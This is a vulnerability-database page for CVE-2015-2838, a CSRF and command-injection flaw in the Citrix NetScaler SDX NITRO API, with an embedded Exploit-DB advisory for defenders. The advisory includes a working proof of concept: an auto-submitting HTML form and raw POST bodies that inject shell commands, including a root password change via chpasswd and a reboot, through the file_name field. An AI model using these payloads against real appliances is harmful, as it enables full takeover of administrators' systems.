CVE-2015-2838

medium

Published 2015-04-03 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

7.8

Description

Cross-site request forgery (CSRF) vulnerability in Nitro API in Citrix NetScaler before 10.5 build 52.3nc allows remote attackers to hijack the authentication of administrators for requests that execute arbitrary commands as nsroot via shell metacharacters in the file_name JSON member in params/xen_hotfix/0 to nitro/v1/config/xen_hotfix.

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-36442 webapps linux text · 3 KB

Han Sahin · 2015-03-19

Citrix Nitro SDK - Command Injection

text exploit Source: Exploit-DB

Abstract


Securify discovered a command injection vulnerability in xen_hotfix page of the NITRO SDK. The attacker-supplied command is executed with elevated privileges (nsroot). This issue can be used to compromise of the entire Citrix SDX appliance and all underling application's and data.

Tested version


This issue was discovered in Citrix NetScaler SDX svm-10.5-50-1.9, other versions may also be affected.

Fix


Citrix reports that this vulnerability is fixed in NetScaler 10.5 build 52.3nc.

Introduction


The Citrix NetScaler SDX platform delivers fully isolated NetScaler instances running on a single appliance. Each instance is a full-blown NetScaler environment, which optimizes delivery of applications over the Internet and private networks. The NITRO SDK allows you to configure and monitor the NetScaler appliance programmatically. NITRO exposes its functionality through REST interfaces. A Cross-Site Scripting vulnerability was found in one of the REST services exposed by the NITRO SDK.

Administrators can upload XenServer hotfixes to the Citrix SDX appliance. The REST interface responsible for handling these hotfixes is vulnerable to command injection.

Details


This vulberability exists because the file_name parameter submitted to the /nitro/v1/config/xen_hotfix page used in a shell command without proper input validation/sanitation, introducing a command execution vulnerability. The shell command is executed with elevated privileges (nsroot), which allows attackers to run arbitrary commands with these privileges. This issue can be used to compromise of the entire Citrix SDX appliance and all underling application's and data.

The following proof of concept can be used to exploit this issue;
<html>
   <body>
      <form action="https://SDXHOSTIP/nitro/v1/config/xen_hotfix" method="POST">
         <input type="hidden" name="object" value="&#123;"params"&#58;&#123;"action"&#58;"start"&#125;&#44;"xen&#95;hotfix"&#58;&#91;&#123;"file&#95;name"&#58;"&#46;&#46;&#47;&#46;&#46;&#47;etc&#47;passwd&#59;echo&#32;nsroot&#58;Securify&#124;chpasswd&#59;"&#125;&#93;&#125;" />
         <input type="submit" value="Submit request" />
      </form>
      <script>document.forms[0].submit();</script>
   </body>
</html>



POST /nitro/v1/config/xen_hotfix HTTP/1.1
-----------------------------------------

object={"params"%3a{"action"%3a"start"}%2c"xen_hotfix"%3a[{"file_name"../../etc/passwd;reboot;"}]}

or

object={"params"%3a{"action"%3a"start"}%2c"xen_hotfix"%3a[{"file_name"%3a"../../etc/passwd;echo nsroot:han|chpasswd;"}]}


Due to insufficient Cross-Site Request Forgery protection, it is possible to exploit this issue by tricking a logged in admin user into visiting a specially crafted web page.

Application impact

Vendor	Product	Versions	Fixed
citrix	netscaler	`10.5`

References

CWEs

CWE-352

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.